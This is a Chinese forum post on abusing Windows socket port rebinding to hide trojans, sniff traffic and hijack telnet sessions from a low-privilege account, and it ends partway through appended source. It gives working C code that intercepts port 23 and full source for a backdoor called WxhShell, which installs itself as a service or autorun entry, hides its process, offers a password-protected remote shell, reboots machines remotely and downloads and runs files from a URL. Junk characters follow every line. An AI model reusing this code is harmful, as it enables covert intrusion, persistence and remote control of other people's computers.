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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 0zW*JJxV  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); i(~DhXz*T  
rLTBBvV  
  saddr.sin_family = AF_INET; \$9C1@B@  
2"&GH1  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); \,S |>CPQ  
9'MGv*Ho  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ni;)6,i  
n)yDep]$G  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 M?l v  
bjVk9XvH6  
  这意味着什么?意味着可以进行如下的攻击: )kep:-wm  
^ZMbJe%L  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 're:_;lG  
FJn-cR.n  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) o~$O$  
 Bx45yaT  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 suEK;Bk9  
Nu7>G  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  &S4*x|-C&  
'$FF/|{  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ;nSF\X(;{  
py;p7y!gxA  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 E#!N8fQ  
 kN=&"  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ,I"T9k-^  
!!\}-r^y%  
  #include @}y.  
  #include HOx4FXPs  
  #include (dlp5:lQz  
  #include    88HqP!m%P:  
  DWORD WINAPI ClientThread(LPVOID lpParam);   <::lfPP  
  int main() jG>W+lq  
  { 9#9 UzKX#  
  WORD wVersionRequested; @gN"Q\;F  
  DWORD ret; O2fq9%lk  
  WSADATA wsaData; Avw=*ZW  
  BOOL val; ///Lg{ ie  
  SOCKADDR_IN saddr; 96w2qgc2  
  SOCKADDR_IN scaddr; bK:U:vpYm  
  int err; 0?54 8yH  
  SOCKET s; ?^VPO%  
  SOCKET sc; <vcU5 .K.  
  int caddsize; xn*$Ty+  
  HANDLE mt; y#Dh)~|k  
  DWORD tid;   pGD@R=8  
  wVersionRequested = MAKEWORD( 2, 2 ); xMr,\r'+  
  err = WSAStartup( wVersionRequested, &wsaData ); JQ?`l)4  
  if ( err != 0 ) { WEwa<%Ss  
  printf("error!WSAStartup failed!\n"); &tH?m;V  
  return -1; +/[M Ex=   
  } !( lcUdBd  
  saddr.sin_family = AF_INET; Zv!`R($  
   ` <1Wf  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 M\{n+r -m  
MtkU]XKGT  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); &nIu^,.  
  saddr.sin_port = htons(23); F85_Lz4  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) '=0}2sF>  
  { ;<Q%d~$xy}  
  printf("error!socket failed!\n"); 4&W?: =H2  
  return -1; mB-,\{)  
  } 'xH^ksb"  
  val = TRUE; `X<B+:>v-  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 >Y>R1b%  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 811>dVq3/  
  { #gbB// <  
  printf("error!setsockopt failed!\n"); 2.3_FXSt  
  return -1; [6a-d> e{  
  } l!*_[r   
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; +gd5&  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 t"$~o:U&)  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 b`X''6  
m(8Tup|  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) <>6j>w_|  
  { u1/ >)_U  
  ret=GetLastError(); b,Wm]N  
  printf("error!bind failed!\n"); =zFROB\  
  return -1; AJ7w_'u=@  
  } SES.&e|!6  
  listen(s,2); ?4':~;~  
  while(1) CyIlv0fd}  
  { FMdu30JV  
  caddsize = sizeof(scaddr); ! AwMD  
  //接受连接请求 uG\~Hxqw7O  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); *I 1H  
  if(sc!=INVALID_SOCKET) X%b1KG|#(  
  { %mC@}  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ny{C,1QG  
  if(mt==NULL) Om*QN]lGq  
  { CY o m  
  printf("Thread Creat Failed!\n"); ILm +o$o ~  
  break; (H_dZL  
  } '?C6P5fm  
  }  uo`R  
  CloseHandle(mt); yX!u&  
  } I/7!5Z*  
  closesocket(s); t^'nh 1=  
  WSACleanup(); E !!,JnU  
  return 0; `/sNX<mp  
  }   &D3]O9a0;  
  DWORD WINAPI ClientThread(LPVOID lpParam) &3SS.&g4W  
  { a/ A c^!(  
  SOCKET ss = (SOCKET)lpParam; DZ|*hQU>K  
  SOCKET sc; _r-LX"  
  unsigned char buf[4096];  w*`:v$  
  SOCKADDR_IN saddr; z_>~=Mm  
  long num; |2do8z  
  DWORD val; tz):$1X_  
  DWORD ret; $0[T<]{/?  
  //如果是隐藏端口应用的话,可以在此处加一些判断 7i($/mNl  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   _*~F1% d  
  saddr.sin_family = AF_INET; G!j9D  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); T ipH}  
  saddr.sin_port = htons(23); X9| Z ?jJ  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) `bQ_eRw}  
  { ?("O.<  
  printf("error!socket failed!\n"); ^$Y9.IH"  
  return -1; &ZD@-"@  
  } 8xB-cE  
  val = 100; u[)X="-e#  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) m4m-JD|v  
  { 58Ibje  
  ret = GetLastError(); ?"@Fq2xgB4  
  return -1; CE3l_[c  
  } O&?i#@5#  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) O1v)*&NAI  
  { ExG(*[l  
  ret = GetLastError(); |:S6Gp[\O  
  return -1; 2}&ERW  
  } 6La[( )  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) QVjHGY*R  
  { o^epXIrIPi  
  printf("error!socket connect failed!\n"); Nk9=A4=|  
  closesocket(sc); <ww D*t  
  closesocket(ss); c+l1 l0BA  
  return -1; eKr>>4,-P  
  } KZ2[.[(Ph  
  while(1) 3A,N1OXG  
  { WRZpu95v  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 }sxs-  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 +Q+O$-a <  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 8;gi8Y  
  num = recv(ss,buf,4096,0); [r`KoHwdm  
  if(num>0) [WDzaRzd  
  send(sc,buf,num,0); =%|`gZ  
  else if(num==0) 2_pF#M9  
  break; #czI nXTTx  
  num = recv(sc,buf,4096,0); jz f~n~  
  if(num>0) Vq3NjN!+5  
  send(ss,buf,num,0); <.)=CK  
  else if(num==0) c';~bYZ  
  break; Fu.aV876\f  
  } &6\&McmkX  
  closesocket(ss); yu6~:$%H  
  closesocket(sc); 9(]_so24,  
  return 0 ; cB,^?djJ3  
  } *fm?"0M5  
Fbo"Csn_  
*z[vp2 TN  
========================================================== 9i\}^ s2  
Kyh6QA^  
下边附上一个代码,,WXhSHELL ]-t )wGr  
K#A&  
========================================================== <4TI;yy6?  
QjLU@?&  
#include "stdafx.h" Z0&^(Fb  
Vs 5 &X+k  
#include <stdio.h> [6TI_U~  
#include <string.h> $tu   
#include <windows.h> ^X&`YXjuN  
#include <winsock2.h> | va@&;#wf  
#include <winsvc.h> )#AYb   
#include <urlmon.h> jN+`V)p  
).kU7;0  
#pragma comment (lib, "Ws2_32.lib") x[t?hl=:  
#pragma comment (lib, "urlmon.lib") "22./vWV|i  
R"OT&:0/  
#define MAX_USER   100 // 最大客户端连接数 d_ =K (}eR  
#define BUF_SOCK   200 // sock buffer '5aA+XP|  
#define KEY_BUFF   255 // 输入 buffer aX.BaK6I  
KJFQ)#SW!  
#define REBOOT     0   // 重启 p>)1Z<D"a  
#define SHUTDOWN   1   // 关机 =+X*$'<J  
;,-)Z|W  
#define DEF_PORT   5000 // 监听端口 |Kd6.Mx  
eSoX|2g  
#define REG_LEN     16   // 注册表键长度 _j+,'\B  
#define SVC_LEN     80   // NT服务名长度 *{?2M6Z  
N d>zq  
// 从dll定义API U>t:*SNC*  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); .g/!u(iy  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); VQ!4( <XD  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 9]3l'  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); |!K&h(J|  
No\#N/1@P  
// wxhshell配置信息 (&m1*  
struct WSCFG { F-@y H  
  int ws_port;         // 监听端口 xLIyh7$t  
  char ws_passstr[REG_LEN]; // 口令 _LF'0s*  
  int ws_autoins;       // 安装标记, 1=yes 0=no pXNhU88  
  char ws_regname[REG_LEN]; // 注册表键名 `_vPElQXZ#  
  char ws_svcname[REG_LEN]; // 服务名 TJNE2  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 "|i1A R:I  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 5S? "<+J'  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 !& c%!*  
int ws_downexe;       // 下载执行标记, 1=yes 0=no > X  AB#  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" _$*-?*V&  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 7h9oY<W  
T2-x1Sw_  
}; 6iQqOAG  
Yaq0mef0  
// default Wxhshell configuration _x5-!gK  
struct WSCFG wscfg={DEF_PORT, 2^s&#@n3t  
    "xuhuanlingzhe", qbnlD\  
    1, 2;]tItd1  
    "Wxhshell", w+rw<,u%  
    "Wxhshell", ])pX)(a  
            "WxhShell Service", R&s/s`pLW  
    "Wrsky Windows CmdShell Service", Jur$O,u40l  
    "Please Input Your Password: ", 0D:uM$ i]  
  1, @uC-dXA"  
  "http://www.wrsky.com/wxhshell.exe", 3znhpHO)  
  "Wxhshell.exe" M/V"Ke"N  
    }; F-Z>WC{+  
Q9y|1Wg1W  
// 消息定义模块 iP7KM*ks  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; dY?l oFz  
char *msg_ws_prompt="\n\r? for help\n\r#>"; A f?&VD4K  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; XF{2'x_R  
char *msg_ws_ext="\n\rExit."; LzXIqj'H7T  
char *msg_ws_end="\n\rQuit."; N0fE*xo  
char *msg_ws_boot="\n\rReboot..."; ed,+Slg  
char *msg_ws_poff="\n\rShutdown..."; M-Nn \h$,  
char *msg_ws_down="\n\rSave to "; >VjtKSN  
f].z.  
char *msg_ws_err="\n\rErr!"; PmId #2f  
char *msg_ws_ok="\n\rOK!"; a[^dK-  
F`Vp   
char ExeFile[MAX_PATH]; 0wBr_b!  
int nUser = 0; ;Xidv9c  
HANDLE handles[MAX_USER]; d{!zJ+n  
int OsIsNt; -GgV&%'a  
-'W:P'BG  
SERVICE_STATUS       serviceStatus; P)TeF1~T  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; dkEnc  
]H:K$nmX  
// 函数声明 kH=~2rwm  
int Install(void); uJ*|SSN~  
int Uninstall(void); nkkGJV!  
int DownloadFile(char *sURL, SOCKET wsh); suj}A  
int Boot(int flag); jaThS!>v  
void HideProc(void); t[%=[pJHW  
int GetOsVer(void); QL(}k)dB  
int Wxhshell(SOCKET wsl); `).;W  
void TalkWithClient(void *cs); 0txSF^x  
int CmdShell(SOCKET sock); lSId<v?C>  
int StartFromService(void); x^F2Ywp%  
int StartWxhshell(LPSTR lpCmdLine); ,Ur~DXY  
}=3W(1cu-  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); p|Fhh\,*`X  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ]*S_fme  
uuh vd h=  
// 数据结构和表定义 8DrKq]&  
SERVICE_TABLE_ENTRY DispatchTable[] = (aCl*vV1  
{ J! eVw\6  
{wscfg.ws_svcname, NTServiceMain}, nfvs"B;  
{NULL, NULL} I^ A01\p  
}; ;rta#pRn  
A%M&{S'+|X  
// 自我安装 QQjMC'  
int Install(void) 6 ud<B  
{ EVmE{XlD;  
  char svExeFile[MAX_PATH]; `V ++})5v  
  HKEY key; q14A 'XW  
  strcpy(svExeFile,ExeFile); UE\@7  
]*;+ U6/?  
// 如果是win9x系统,修改注册表设为自启动 "=!QSb  
if(!OsIsNt) { TA Yt:  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { b_Ky@kp  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); M/sqOhg  
  RegCloseKey(key); {_MU0=7c\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { S+OI?QS  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ")M.p_b[Z=  
  RegCloseKey(key); u= +  
  return 0; f{z%PI[  
    } {78*S R  
  } {K0T%.G  
} j'0*|f^z  
else { /0YNB)  
ZCJ8I  
// 如果是NT以上系统,安装为系统服务 IO_H%/v"jC  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 8UL:C?eY  
if (schSCManager!=0) .}y Lz  
{ #WpO9[b>  
  SC_HANDLE schService = CreateService A8eli=W  
  ( qaGIU`}:$A  
  schSCManager, fW}H##b  
  wscfg.ws_svcname, =v5(*$"pd"  
  wscfg.ws_svcdisp, ^lMnwqx<  
  SERVICE_ALL_ACCESS, (U dDp"/  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , f,a4LF  
  SERVICE_AUTO_START, o_*|`E  
  SERVICE_ERROR_NORMAL, Q}.y"|^  
  svExeFile, |)JoxqR  
  NULL, _&![s]  
  NULL, zB]T5]  
  NULL, ;<X3AhF  
  NULL, '}YXpB  
  NULL K :q-[\G  
  ); u#UeJu O  
  if (schService!=0) et ~gO!1:*  
  { ta6 WZu  
  CloseServiceHandle(schService); ;qk~>  
  CloseServiceHandle(schSCManager); FW.dHvNX  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Q#r 0DWo\  
  strcat(svExeFile,wscfg.ws_svcname); /eMZTh*1P  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { qiF~I0_0  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); _0j}(Q>|H#  
  RegCloseKey(key); S+>]8ZY  
  return 0; Pd;ClMa%  
    } |f}NO~CA  
  } &lS0"`J=  
  CloseServiceHandle(schSCManager); tx1jBh:e=  
} z|?R=;,u`  
} v!U#C[a^  
f8^58]wx0  
return 1; @>:07]Dxo  
} imhq*f#A[  
l?1!h2z%  
// 自我卸载 p+7BsW.l  
int Uninstall(void) !^fJAtCN]  
{ ;VFr5.*x  
  HKEY key; lqCn5|S]  
g^4FzJ  
if(!OsIsNt) { =U2Te  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { .}<B*e=y  
  RegDeleteValue(key,wscfg.ws_regname); 9iy|=  
  RegCloseKey(key); @ :4Kk 4g1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { pNJM]-D]m~  
  RegDeleteValue(key,wscfg.ws_regname); .- Lqo=o\  
  RegCloseKey(key); 8W[]#~77b  
  return 0; E$>e< T  
  } zB$6e!fc  
} >C}RZdO~  
} uY~A0I5Z  
else { _dBU6U:V  
?^vZ{B)&0E  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); f,a %@WT  
if (schSCManager!=0) piFQ7B  
{ e,*[5xQ  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ;2|H6IN"  
  if (schService!=0) /_a *C.a6  
  { L-R}O 8  
  if(DeleteService(schService)!=0) { ] zY  
  CloseServiceHandle(schService); WO9/rF_  
  CloseServiceHandle(schSCManager); bC{8yV=)  
  return 0;  :Y3?,  
  } 6;pREM+  
  CloseServiceHandle(schService); v+sbRuo8  
  } r*wKYb  
  CloseServiceHandle(schSCManager); RHbp:Mlk  
} E}=,"i  
} 8vw]u_e  
Xt84Evo  
return 1; 4"{wga~%/  
} .Cus t  
5w1[KO#K|  
// 从指定url下载文件 X8x>oV;8  
int DownloadFile(char *sURL, SOCKET wsh) 7$=@q|$  
{ P.B'Gh#^  
  HRESULT hr; _64@zdL+  
char seps[]= "/"; -JENY|6  
char *token; @ 1A_eF  
char *file; #+PbcL  
char myURL[MAX_PATH]; WCu%@hh=h  
char myFILE[MAX_PATH]; ,GnU]f  
z0[ZO1Fo(  
strcpy(myURL,sURL); w0Y%}7  
  token=strtok(myURL,seps); wS0bk<(  
  while(token!=NULL) ?&m]du#6  
  { \Agg6tY r  
    file=token; \W^+vuD8  
  token=strtok(NULL,seps); #Vigu,zY  
  } hFfaaB  
! VZj!\I  
GetCurrentDirectory(MAX_PATH,myFILE); >pvg0Fh  
strcat(myFILE, "\\"); [9_ (+E[}  
strcat(myFILE, file); Gnt!!1_8L  
  send(wsh,myFILE,strlen(myFILE),0); UJ$:5*S=u  
send(wsh,"...",3,0); T6roz  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); p&mtKLv  
  if(hr==S_OK) G9inNz*Cx  
return 0; np^<HfYV  
else ]?`p_G3O  
return 1; x 4</\o  
F5MPy[  
} 9lJj/  
\=_q{  
// 系统电源模块 am+mXb  
int Boot(int flag) ha! "BR  
{ 9 /(c cj  
  HANDLE hToken; D#1~]d  
  TOKEN_PRIVILEGES tkp; QS*cd|7J;  
><R.z( 4%  
  if(OsIsNt) { AuipK*&g  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); i?dKmRp(@y  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); "|*Kf#  
    tkp.PrivilegeCount = 1; jsd]7C  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; _lv:"/3R  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); GPLt<K!<#  
if(flag==REBOOT) { h)^A3;2F  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))  ca*[n~np  
  return 0; _C,@eu"9V  
} {b0&qV   
else { .r5oN+?e  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) =e8L7_;  
  return 0; fbTw6Fde$  
} YQdX>k  
  } $YY)g$  
  else { m<"fRT!Y  
if(flag==REBOOT) { RLOQ>vYY  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) yUmsE-W  
  return 0; ]~S+nl yd<  
} !LOors za  
else { g^$11  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 33'lZ ubV  
  return 0; .`>l.gmi&  
} q,+kPhHEgy  
} t`YZ)>Ws  
aC~n:0 v  
return 1; *8.@aX3  
} A a} o*  
uoY`qF.`  
// win9x进程隐藏模块 _pko]F|()  
void HideProc(void) {hRie+  
{ ! M&un*  
Wo9psv7.  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Tb1}XvZ  
  if ( hKernel != NULL ) 9_WPWFO  
  { fb.\V]K  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); @U3foL2\  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); k;_KKvQ  
    FreeLibrary(hKernel); EH*ym#Y  
  } zB6u-4^wT  
5Sjr6l3Vq8  
return; m_!vIUOz  
} Jp3di&x  
&M3ES}6  
// 获取操作系统版本 #>m, Cm  
int GetOsVer(void) gr`Ar;  
{ vo6[2.HS  
  OSVERSIONINFO winfo; w-H%B`/  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); LX\*4[0%K  
  GetVersionEx(&winfo); xJ2O4ob  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) yvoo M'R  
  return 1; "vOfAo]`  
  else `,Y[Z  
  return 0; 0YpiHoM  
} Yl&tkSw46  
Ly)(_Tp@+  
// 客户端句柄模块 A` o?+2s_  
int Wxhshell(SOCKET wsl) ;j>Vt?:Pw  
{ v=.z|QD^1  
  SOCKET wsh; &H4uvJ_<  
  struct sockaddr_in client; V(2j*2R!  
  DWORD myID; p37zz4  
,]uX:h-EM  
  while(nUser<MAX_USER) )0U3w#,JQ  
{ }xf='lE  
  int nSize=sizeof(client); nRXSW&V"m  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); kUg+I_j6*  
  if(wsh==INVALID_SOCKET) return 1; D,dHP-v  
+-aU+7tu  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); \7t5U7v8U  
if(handles[nUser]==0) `?]rr0.}hp  
  closesocket(wsh); yD[zzEuQ  
else fEj9R@u+h  
  nUser++; cNuHXaWp  
  } k~1j/VHv  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); oT|P1t.  
j(%gMVu  
  return 0; C '-zh\a  
} OHHNWg_5  
," C[Qg(  
// 关闭 socket y^ X\^Kq  
void CloseIt(SOCKET wsh) XJmFJafQD  
{ r}oURy,5  
closesocket(wsh); 4FIV  
nUser--; 3"'# |6O9  
ExitThread(0); bvip bf[m<  
} lk[G;=K:.  
B0)`wsb_  
// 客户端请求句柄 i5 L:L  
void TalkWithClient(void *cs) <o&o=Y8  
{ DIG0:)4R.  
Jtp>m?1Ve  
  SOCKET wsh=(SOCKET)cs; [;?"R-V"z  
  char pwd[SVC_LEN]; JFG",09]  
  char cmd[KEY_BUFF]; qukjS#>+  
char chr[1]; DHm[8 Qp  
int i,j; ~JwpNJs  
ShWHHU(QQ  
  while (nUser < MAX_USER) { G{NSAaD[  
CJ9cCtA  
if(wscfg.ws_passstr) { "Y G\  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); O->_/_  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); (ve+,H6w\  
  //ZeroMemory(pwd,KEY_BUFF); l_c^ .D  
      i=0; "WYA  
  while(i<SVC_LEN) { y@o9~?M  
QFW0KD`5  
  // 设置超时 ]{IR&{EI-  
  fd_set FdRead; lx{.H,1~  
  struct timeval TimeOut; &GdL 9!hH  
  FD_ZERO(&FdRead); r]k*7PK  
  FD_SET(wsh,&FdRead); Kajkw>z  
  TimeOut.tv_sec=8; FOCoiocPi  
  TimeOut.tv_usec=0; p!+L  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); "_K}rI6(t  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); m<FF$pTT  
87^:<\pp  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); \npz .g^c_  
  pwd=chr[0]; W\it+/  
  if(chr[0]==0xd || chr[0]==0xa) { j|VXC(6 P,  
  pwd=0; 81g9ZV(4  
  break; Ro'jM0(KE  
  } Md8(`@`o  
  i++; |Du,UY/  
    } >vlQ|/C  
/ <JY:1|  
  // 如果是非法用户,关闭 socket 5oz>1  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); m_Mwg  
} sA/,+aM  
<9ma(PFa  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); )K{o<m~WAo  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9v~1We;{$  
Bj@x$v#/^  
while(1) { <fNGhmL  
r_Lu~y|  
  ZeroMemory(cmd,KEY_BUFF); OuB2 x=B  
QF\kPk(CtD  
      // 自动支持客户端 telnet标准   KHvIN}V5?3  
  j=0; "@.Z#d|Y  
  while(j<KEY_BUFF) { sf Dg/ a  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); &&;ex9  
  cmd[j]=chr[0]; P?^JPbfV  
  if(chr[0]==0xa || chr[0]==0xd) { mT96 ]V \  
  cmd[j]=0; eh$G.-2N  
  break; Q>kiVvc  
  } saatU;V  
  j++; K<c2PFo)Q  
    } o g_Ri$x8  
lZ}P{d'f.  
  // 下载文件 F(deu^s%{  
  if(strstr(cmd,"http://")) { 6hZ.{8e0  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); YVoao#!  
  if(DownloadFile(cmd,wsh)) [ L  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); {3_Gjb5\\4  
  else }A-{6Qe  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); f[x~)=  
  } xXOR IlD  
  else { i wUv`>l&  
PmHd9^C  
    switch(cmd[0]) { ]de\i=?|  
  u[)_^kIE(n  
  // 帮助 W:WQaF`2x  
  case '?': { jQ6Xr&}  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); >wA+[81[  
    break; vruD U#  
  } 19'5Re&  
  // 安装 _0K.Fk*(!  
  case 'i': { f6Ml[!aU  
    if(Install()) (}G!np  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ddb-@YD&+0  
    else ?fV?|ZGZI  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &1P(O\ d  
    break; F"I*-!o  
    } y>`5Kyj3-@  
  // 卸载 }7%9}2}Iw  
  case 'r': { SgiDh dE  
    if(Uninstall()) C#0brCQq3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (i\)|c/a7  
    else a~,Kz\Tt  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "rsSW 3_  
    break; n!ZMTcK8  
    } mB~~_]M N  
  // 显示 wxhshell 所在路径 6F(hY !}5  
  case 'p': { wZQ)jo7*g  
    char svExeFile[MAX_PATH]; ^_sQG  
    strcpy(svExeFile,"\n\r"); 0Q7MM6  
      strcat(svExeFile,ExeFile); "v5ElYG  
        send(wsh,svExeFile,strlen(svExeFile),0); e^zHw^js  
    break; opXDm\  
    } "e@n:N!  
  // 重启 7{4w 2)  
  case 'b': { iA9 E^  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); nWk e#{[  
    if(Boot(REBOOT)) ~T% Ui#Gc  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); H;QA@tF>5  
    else { Ls1B \Aw_  
    closesocket(wsh); _B3zRO  
    ExitThread(0); TKo<~?  
    } #ra*f~G  
    break; i3P9sdTD  
    } Hs$'0:  
  // 关机 ~q 7;8<U  
  case 'd': { q4/909x=  
